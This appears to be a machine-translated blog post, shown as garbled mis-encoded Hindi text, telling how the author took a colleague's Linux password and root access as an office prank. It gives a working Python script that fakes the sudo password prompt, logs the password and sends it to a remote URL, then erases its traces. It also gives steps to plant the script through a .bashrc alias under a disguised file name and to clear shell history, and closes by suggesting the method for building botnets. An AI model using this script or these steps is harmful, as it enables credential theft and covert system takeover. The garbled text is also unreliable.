рд▓рд┐рдирдХреНрд╕ - рдПрдХ рд╣реИрдХ рдХреА рдХрд╣рд╛рдиреА

рдЫрд╡рд┐ рдирдорд╕реНрддреЗ рджреБрдирд┐рдпрд╛!
рдЖрдЬ рдореИрдВ рдЖрдкрдХреЗ рд╕рд╛рде рдПрдХ рд╢рд┐рдХреНрд╖рд╛рдкреНрд░рдж рдХрд╣рд╛рдиреА рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рджрд┐рди рдореИрдВ рдХрд┐рд╕реА рд╕рд╣рдХрд░реНрдореА рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд░реВрдЯ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣рд╛ рдФрд░ рдпрд╣ рдХрд░рдирд╛ рдХрд┐рддрдирд╛ рд╕рд░рд▓ рдерд╛ред

рдкреНрд░рд╛рдЧрд┐рддрд┐рд╣рд╛рд╕

рдХрд╛рд░реНрдп рджрд┐рд╡рд╕ рдХрд┐рд╕реА рднреА рдФрд╕рдд рдбреЗрд╡рд▓рдкрд░ рдХреЗ рд╕рд╛рде рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣ рдмреАрдд рдЧрдпрд╛: рдореЙрдирд┐рдЯрд░, рдХреАрдмреЛрд░реНрдб, рдЪрд╛рдп, рдХреБрдХреАрдЬрд╝ ... рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдХреБрдЫ рднреА рдмрдХрд╛рдпрд╛ рдирд╣реАрдВ рдерд╛, рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣ред Xdebug рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рдВрдмреЗ рдбрд┐рдмрдЧрд┐рдВрдЧ рд╕реЗ рдердХрдиреЗ рдкрд░, рдореИрдВрдиреЗ рдХрдо рд╕реЗ рдХрдо рдЕрдкрдиреЗ рд╕рд┐рд░ (рдЙрд╕ рд╕рдордп рдкрд╣рд▓реЗ рд╕реЗ рд╣реА "рдкрд┐рдЧ-рдЖрдпрд░рди") рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдпрд╛рд▓рдп рдЫреЛрдбрд╝рдиреЗ рдФрд░ рдХреБрдЫ рддрд╛рдЬреА рд╣рд╡рд╛ рдореЗрдВ рд╕рд╛рдВрд╕ рд▓реЗрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред

рдХрд╛рд░реНрдпрд╕реНрдерд▓ рдкрд░ рд▓реМрдЯрдХрд░, рдореЗрд░реЗ рдкрд╛рд╕ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрднреА рддрдХ рд╕рдордп рдирд╣реАрдВ рдерд╛, рдЬрдм рдЕрдЪрд╛рдирдХ рдЕрдЧрд▓реА рдореЗрдЬ рд╕реЗ рдПрдХ рд╕рд╣рдХрд░реНрдореА рдХреА рд╡реНрдпрдВрдЧреНрдпрд╛рддреНрдордХ рдЖрд╡рд╛рдЬрд╝ рдЖрдИ:

- рджреЗрдЦрд┐рдП, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреА рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрдИрдбреА XXXX рд╣реИ, рд╣реИ рдирд╛?

рдкреАрдПрд╕ рдЪрд▓рд╛рдХрд░ -рдП | grep рдУрдкреЗрд░рд╛, рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдкрд┐рдб рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╡рд╣ рд╣реИ рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рд╣рдХрд░реНрдореА рдмрд╛рдд рдХрд░ рд░рд╣реЗ рдереЗред

"рд╣рд╛рдБ, рдФрд░ рддреЛ рдХреНрдпрд╛?" - рдореИрдВрдиреЗ рд╢рд╛рдВрдд рд╕реНрд╡рд░ рдореЗрдВ рдЬрд╡рд╛рдм рджрд┐рдпрд╛ред
"рдХреБрдЫ рдирд╣реАрдВ," рдПрдХ рд╕рд╣рдпреЛрдЧреА рдиреЗ рдХрд╣рд╛ рдФрд░ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рдХреАрдмреЛрд░реНрдб рдкрд░ "рдПрдВрдЯрд░" рджрдмрд╛рдпрд╛ред рдореЗрд░реА рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдореЗрд░реА рдЖрдВрдЦреЛрдВ рдХреЗ рд╕рд╛рдордиреЗ рдмрдВрдж рд╣реЛ рдЧрдИред

рдореИрдВрдиреЗ рддреБрд░рдВрдд рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рд╢реБрд░реВ рдХрд░ рджреА рдЬреЛ рдПрдХ рджреВрд░рд╕реНрде рд╢реЗрд▓ рджреЗ рд╕рдХрддреА рд╣реИред рдпрд╣ рдПрд╕рдПрд╕рдПрдЪ рдирд╣реАрдВ рдерд╛ред
рдПрдХ рд╕рд╣рдХрд░реНрдореА рдиреЗ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдХрд┐ рдпрд╣ nc (netcat) рдерд╛, рдЬрд┐рд╕рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рддреБрд░рдВрдд рдорд╛рд░ рджреА рдЧрдИ рдереАред
рд╣рдо рджреЛрдиреЛрдВ рд╣рдБрд╕реЗ, рдЗрд╕ рдордЬрд╝реЗрджрд╛рд░ рдорд╛рдорд▓реЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреЛрдИ рд╣реИрдХрд┐рдВрдЧ рдирд╣реАрдВ рдереА рдФрд░ рдЙрд╕ рд╕рдордп рдореЗрд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рддрд╣рдд "рдПрдирд╕реА" рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬрдм рдореИрдВ рдХрд╛рд░реНрдпрд╕реНрдерд▓ рдкрд░ рдирд╣реАрдВ рдерд╛ред рдмрд╕ рд▓реБрд▓рдЬрд╝ рдХреЗ рд▓рд┐рдПред
рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдордЬрд╛рдХ рдПрдХ рд╕рдлрд▓рддрд╛ рдереА, рд▓реЗрдХрд┐рди рдЕрд╡рдЪреЗрддрди рд░реВрдк рд╕реЗ рдореИрдВрдиреЗ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рдЗрд╕ рд╡реНрдпрд╡рд╕рд╛рдп рдХреЛ рдЫреЛрдбрд╝рдирд╛ рдЗрддрдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рдерд╛, рдпрд╣ рдПрдХ рдЪреБрдиреМрддреА рдереА!

Myakotka

рдардВрдб рдХреЗ рдореМрд╕рдо рдореЗрдВ рдПрдХ рдмрд╛рд░, рдирдП рд╕рд╛рд▓ рд╕реЗ рдареАрдХ рдкрд╣рд▓реЗ, рдореИрдВрдиреЗ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рдпрд╣ рдмрджрд▓рд╛ рд▓реЗрдиреЗ рдХрд╛ рд╕рдордп рдерд╛ред рд▓реЗрдХрд┐рди рдЗрд╕ рдмрд╛рд░ рдореИрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЬрдмреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ - рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

рдХрд╛рд░реНрдпрд╛рд▓рдп рдореЗрдВ рдирдП рд╕рд╛рд▓ рдХреА рддреИрдпрд╛рд░рд┐рдпреЛрдВ рдиреЗ рдПрдХ рднрд╛рд░реА рдЙрдкрджреНрд░рд╡ рдФрд░ рд╢реЛрд░ рдкреИрджрд╛ рдХрд┐рдпрд╛ред рдпрд╣ рд╕рдмрд╕реЗ рдЙрдкрдпреБрдХреНрдд рдХреНрд╖рдг рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдШрдЯрдирд╛ рдХреЗ рдмрд╛рдж рдПрдХ рд╕рд╣рдпреЛрдЧреА рдиреЗ рд╕реНрдХреНрд░реАрди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ рдЬрдм рд╡рд╣ рдХрд╛рд░реНрдпрд╕реНрдерд▓ рд╕реЗ рджреВрд░ рдЪрд▓рд╛ рдЧрдпрд╛ред рдореБрдЭреЗ рдкрддрд╛ рдерд╛ рдХрд┐ рдЖрдЬ рд╡рд╣ рджрд┐рди рд╣реИ рдЬрдм рд╡рд╣ рддрд╛рд▓рд╛ рдмрдирд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рднреВрд▓ рдЬрд╛рдПрдЧрд╛ред

рдЕрдкрдиреЗ рдХрд╛рдо рдХреЗ рд╕рдордп рдореЗрдВ рдПрдХ рдЫреЛрдЯреА рд╕реА "рдЦрд┐рдбрд╝рдХреА" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдореИрдВрдиреЗ рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдп рдпреЛрдЬрдирд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛ред рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рдЬреЛ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рд╣рд▓ рдХреА рдЬрд╛рдиреА рдереА, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рд╕реАрдзреЗ рд░реВрдЯ рдЦрд╛рддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, рдХреНрдпреЛрдВрдХрд┐ рдмрд╛рдХреА рд╕рдм рд╕рд┐рд░реНрдл рддрдХрдиреАрдХ рдХрд╛ рдорд╛рдорд▓рд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рдкрд░ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреА рдПрдХ рд╕рдХреНрд░рд┐рдп рдЦреЛрдЬ рд╢реБрд░реВ рд╣реБрдИред

рдореЗрд░реЗ рд╕рд╣рдпреЛрдЧреА рдХреЗ рдкрд╛рд╕ рд▓рд┐рдирдХреНрд╕ рдорд┐рдВрдЯ 14 "рдирд╛рджрд┐рдпрд╛" рдерд╛ред рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг 3.5 рд╣реИред рдпрджреНрдпрдкрд┐ рдХрд░реНрдиреЗрд▓ рдЗрддрдирд╛ рдкреБрд░рд╛рдирд╛ рдирд╣реАрдВ рд╣реИ, рдлрд┐рд░ рднреА рдореБрдлреНрдд рдкрд╣реБрдВрдЪ рдореЗрдВ рдПрдХ рдХрд╛рд░реНрдпрд╢реАрд▓ рд╕реНрдерд╛рдиреАрдп рд╢реЛрд╖рдг рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рдЦреЛрдЬрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╢реВрдиреНрдп рдХреЗ рдХрд░реАрдм рд╣реИред рдЕрдкрд╛рдЪреЗ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рд╕реЗ, рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреБрдЫ рднреА рдЦрд░реНрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рдерд╛, рдФрд░ рдЙрд╕рдиреЗ рдЕрдкрд╛рдЪреЗ рдХреЛ рдмрд╛рд╣рд░реА рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдерд╛ред

рд╡рд┐рдЪрд╛рд░ рдХреЗ рдмрд╛рдж рд╡рд┐рдЪрд╛рд░ рдлреЗрдВрдХ рджрд┐рдпрд╛, рдпрд╣ рдЕрдВрдд рдореЗрдВ рдореБрдЭ рдкрд░ dawned! рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░ рдЖрдк рд╕рдмрд╕реЗ рд╕рд░рд▓ рдФрд░ рд╕рдмрд╕реЗ рдЖрдо bash рдЙрд░реНрдл тАЛтАЛрдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ?
рдореЗрд░реА рдзрд╛рд░рдгрд╛ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓реЗрдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВ рдЯрд░реНрдорд┐рдирд▓ (рдбреЗрдмрд┐рдпрди рд╕реНрдХреНрд╡реАрдЬрд╝) рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реВрдБ, рдПрдХ рдЯреЗрд╕реНрдЯ-рдереНрд░реВ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддрд╛ рд╣реВрдБ рдЬрд┐рд╕рдореЗрдВ "рдкреНрд░рд┐рдВрдЯ, рд╣реИрд▓реЛ!"
alias sudo="$HOME/temp.py" 

рдЙрд╕рдХреЗ рдмрд╛рдж рдореИрдВ рдЯрд╛рдЗрдк рдХрд░рддрд╛ рд╣реВрдВ:
 sudo mc 

рдкрд░рд┐рдгрд╛рдо:
 Hello, world! 

рдпрд╣рд╛рдБ рдпрд╣ рд╣реИ! рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдмрд┐рд▓реНрдХреБрд▓ рдХрд╛рдиреВрдиреА "рдЫреЗрдж"ред рдЯреНрд░рд╛рдЗрдЯ, рд▓реЗрдХрд┐рди рдкреНрд░рднрд╛рд╡реАред

рдФрд░ рдЕрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ!
 #!/usr/bin/env python # ..      ,   PEP #        (   !) import os, sys, time, subprocess, getpass, urllib, base64 url = 'http://example.com/log.php?data=%s' user = getpass.getuser() #    sudo passwd = getpass.getpass("[sudo] password for %s: " % user) msg = user + ':' + passwd home = os.path.expanduser('~') script = sys.argv[0] #        with open(os.path.join(home, ".xsession-name"), "a+") as f: f.write(msg + "\n") #   -     gateway urllib.urlopen(url % base64.b64encode(msg)) #     -      bashrc with open(os.path.join(home, '.bashrc'), 'r+') as f: lines = f.readlines()[:-1] f.seek(0) f.writelines(lines) f.truncate() #       time.sleep(2) print "Sorry, try again" # !     sudo subprocess.call(['sudo'] + sys.argv[1:]) # ..    ,        os.system('pkill python & rm %s' % script) 


рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ: рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ sudo рдкрд╛рд╕рд╡рд░реНрдб рдЕрдиреБрд░реЛрдз рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреА рд╣реИ, рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреА рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддреА рд╣реИ, рдЬрд╣рд╛рдВ рдЬрд╛рдирдХрд╛рд░реА рдмрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИред

рдХрд╛рд░реНрдпрд╕реНрдерд▓ рдореЗрдВ рдПрдХ рд╕рд╣рдХрд░реНрдореА рдХреА рдЕрд╕реНрдерд╛рдпреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдП, рдореИрдВ рдЙрд╕рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЧрдпрд╛ рдФрд░ рдЕрдкрдирд╛ "рд╡рд┐рд╢реЗрд╖ рдСрдкрд░реЗрд╢рди" рд╢реБрд░реВ рдХрд┐рдпрд╛:

1. bashrc рдореЗрдВ рдПрдХ рдирд┐рд░рдВрддрд░ рдЙрдкрдирд╛рдо рдмрдирд╛рдПрдБ:
 echo 'alias sudo="'$HOME'/.xsession-lock"' >> $HOME/.bashrc 

2. рдЯреНрд░рд┐рдХреА рдирд╛рдо .xsession-lock рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╛рдЗрд▓ рдмрдирд╛рдПрдВ, рддрд╛рдХрд┐ рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ / рд╣реЛрдо / рдпреВрдЬрд░ рд╣реЛрдиреЗ рдкрд░ рдпрд╣ рд╣рдбрд╝рддрд╛рд▓реА рди рд╣реЛ рдФрд░ рдЗрд╕рдореЗрдВ рд╣рдорд╛рд░реА рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реЗрд╡ рдХрд░реЗрдВред
3. рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ .xsession-lock - chmod + x
4. рд╕рд╛рдл bash_history!

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЙрдирдХреА рд╡рд╛рдкрд╕реА рдХреЗ рдмрд╛рдж, рдПрдХ рд╕рд╣рдпреЛрдЧреА, рдПрдХ рдЪрд╛рд▓ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд░рд╣рд╛ рдерд╛, рдзреНрдпрд╛рди рд╕реЗ bash_history рдХреА рдЬрд╛рдВрдЪ рдХреА, рдФрд░ рдХреБрдЫ рднреА рдзреНрдпрд╛рди рджрд┐рдП рдмрд┐рдирд╛ рдХрд╛рдо рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ред
рдХреБрдЫ рд╕рдордп рдмрд╛рдж, рдореИрдВрдиреЗ рдПрдХ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рдкрд░ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд╣реЗрдЬрддрд╛ рд╣реИ, рдФрд░ рдпрд╣рд╛рдБ рдпрд╣ рд╣реИ, рдореЗрд░реЗ рд╕рдкрдиреЛрдВ рдХрд╛ рдлрд┐рд╢ рдЕрдХрд╛рдЙрдВрдЯ - рд░реВрдЯ!
рдмреЗрд╢рдХ, рд╕рдЯреАрдХ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╕рд╣рдпреЛрдЧреА рдХреЗ рдХрд╛рдордХрд╛рдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИ, рдЬрд┐рд╕рдиреЗ рдореБрдЭреЗ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреИрд░ рдЬрдорд╛рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рджрд┐рдпрд╛ред

рдмрд╛рдж рдореЗрдВ, рдореИрдВрдиреЗ рдлрд┐рд░ рд╕реЗ рдЕрдкрдиреЗ рд╕рд╣рдпреЛрдЧреА рдХреЛ рдХрд╛рд░реНрдпрд╛рд▓рдп рдЫреЛрдбрд╝рдиреЗ рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд┐рдпрд╛ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЬрдбрд╝ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдЙрд╕рдиреЗ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рд╕рдордп рдХреА рдЧрдгрдирд╛ рдХреА рдФрд░ рдЫреЗрджрд╛ рдЧрдпрд╛! рдХрд╛рд╢, рдореИрдВ "рдЕрдкрд░рд╛рдз" рдХреЗ рджреГрд╢реНрдп рдореЗрдВ рд╕рд╣реА рдкрдХрдбрд╝реЗ рд░рдВрдЧреЗ рд╣рд╛рде рдкрдХрдбрд╝рд╛ рдЧрдпрд╛ред

рд╣рдо рдлрд┐рд░ рд╕реЗ рд╣рдБрд╕реЗ, "рд╣реИрдХ" рдХреЗ рд╡рд┐рд╡рд░рдг рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА, рдФрд░ рдлрд┐рд░, рдПрдХ рд╕рд╛рде рдФрд░ рдкреВрд░реЗ рдХрд╛рд░реНрдпрд╛рд▓рдп рдХреЗ рд╕рд╛рде рдирдП рд╕рд╛рд▓ рдХрд╛ рдЬрд╢реНрди рдордирд╛рдпрд╛ред
рдпрд╣рд╛рдБ рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рдирдП рд╕рд╛рд▓ рдХреА рдХрд╣рд╛рдиреА рд╣реИ

рдирд┐рд╖реНрдХрд░реНрд╖

рдЗрд╕ рддрдереНрдп рдХреЗ рдкреНрд░рдХрд╛рд╢ рдореЗрдВ рдХрд┐ рд╡рд╛рд▓реНрд╡ рдиреЗ рд▓рд┐рдиреЗрдХреНрд╕ рдХреЗ рддрд╣рдд рднрд╛рдк рдЬрд╛рд░реА рдХреА, рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреА рдУрд░ "рд╣реИрдореНрд╕реНрдЯрд░реНрд╕" рдХреЗ рдмрд╣рд┐рд░реНрд╡рд╛рд╣ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдереА рдФрд░, рдЙрд╕реА рд╕рдордп, "рдХрд╛рд▓реА рдЯреЛрдкреА" рдХреЗ рд╕рдЬреНрдЬрди рдЕрдкрдиреА рдЖрдВрдЦреЛрдВ рдХреЛ рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдмрджрд▓ рджреЗрдВрдЧреЗред

рдЗрд╕рд▓рд┐рдП, рдореИрдВ рдЗрд╕ рд▓реЗрдЦ рдХреЛ рдПрдХ рдФрд░ рдЕрдиреБрд╕реНрдорд╛рд░рдХ рдмрдирдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ "рд▓реЛрдЧреЛрдВ рдХреЗ рдбреВрдмрдиреЗ рдХрд╛ рдореЛрдХреНрд╖ рдЦреБрдж рдХреЛ рдбреВрдмрдиреЗ рд╡рд╛рд▓реЗ рд▓реЛрдЧреЛрдВ рдХрд╛ рдХрд╛рдо рд╣реИред"
рд▓рд┐рдирдХреНрд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп, рдпрд╣ рдордд рд╕реЛрдЪреЛ рдХрд┐ рдЖрдкрдиреЗ рдбрд╛рдпрдкрд░ рдкрд░ рд░рдЦрд╛ рд╣реИред рдЖрдкрдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рдЕрднреА рднреА рдЖрдкрдХреЗ рдкрд╛рд╕ рд╣реИ!

PS рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рд╡рд┐рдзрд┐ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдм рдмреЙрдЯрдиреЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВред рдЗрд╕ рд╕рд┐рджреНрдзрд╛рдВрдд рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдПрдХ рдмреВрдЯрд▓реЛрдбрд░ рдмрдирд╛рдирд╛ рдХрд╛рдлреА рд╕рдВрднрд╡ рд╣реИ рдЬреЛ рдЭреВрда рдмреЛрд▓рддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡рд╣ рд╕реВрдбреЛ рдпрд╛ рдЧрд╕реНрдХреВрдбреЛ рд╣реЛ, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдпрд╣ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ "рдЬрд╝реЛрдВрдмреА рдорд╢реАрди" рдореЗрдВ рдмрджрд▓ рджреЗрдЧрд╛ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд▓реЛрдХрдкреНрд░рд┐рдп рд╡рд┐рддрд░рдг рдРрд╕реА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рд╡рд┐рдзрд┐ рдХреНрд░реИрдВрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред
рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЬрд▓реНрдж рд╣реА рд╕реБрд░рдХреНрд╖рд╛ * рдирд┐рдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ, рдХреБрдЫ рднреА рдирд╣реАрдВ рдмрджрд▓реЗрдЧрд╛ рдФрд░ рдХреБрдЫ рд▓рд┐рди'рд▓рдХрд░реНрд╕ рдФрд░ рдЕрдиреНрдп рдмрдХрд╡рд╛рд╕ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд▓рдЧреЗрдВрдЧреЗред

рдкреАрдкреАрдПрд╕ рд╣реИрд▓реЛ рдпрд╛рдиреЛрд╡рд╕реНрдХреА !

Source: https://habr.com/ru/post/In200912/


All Articles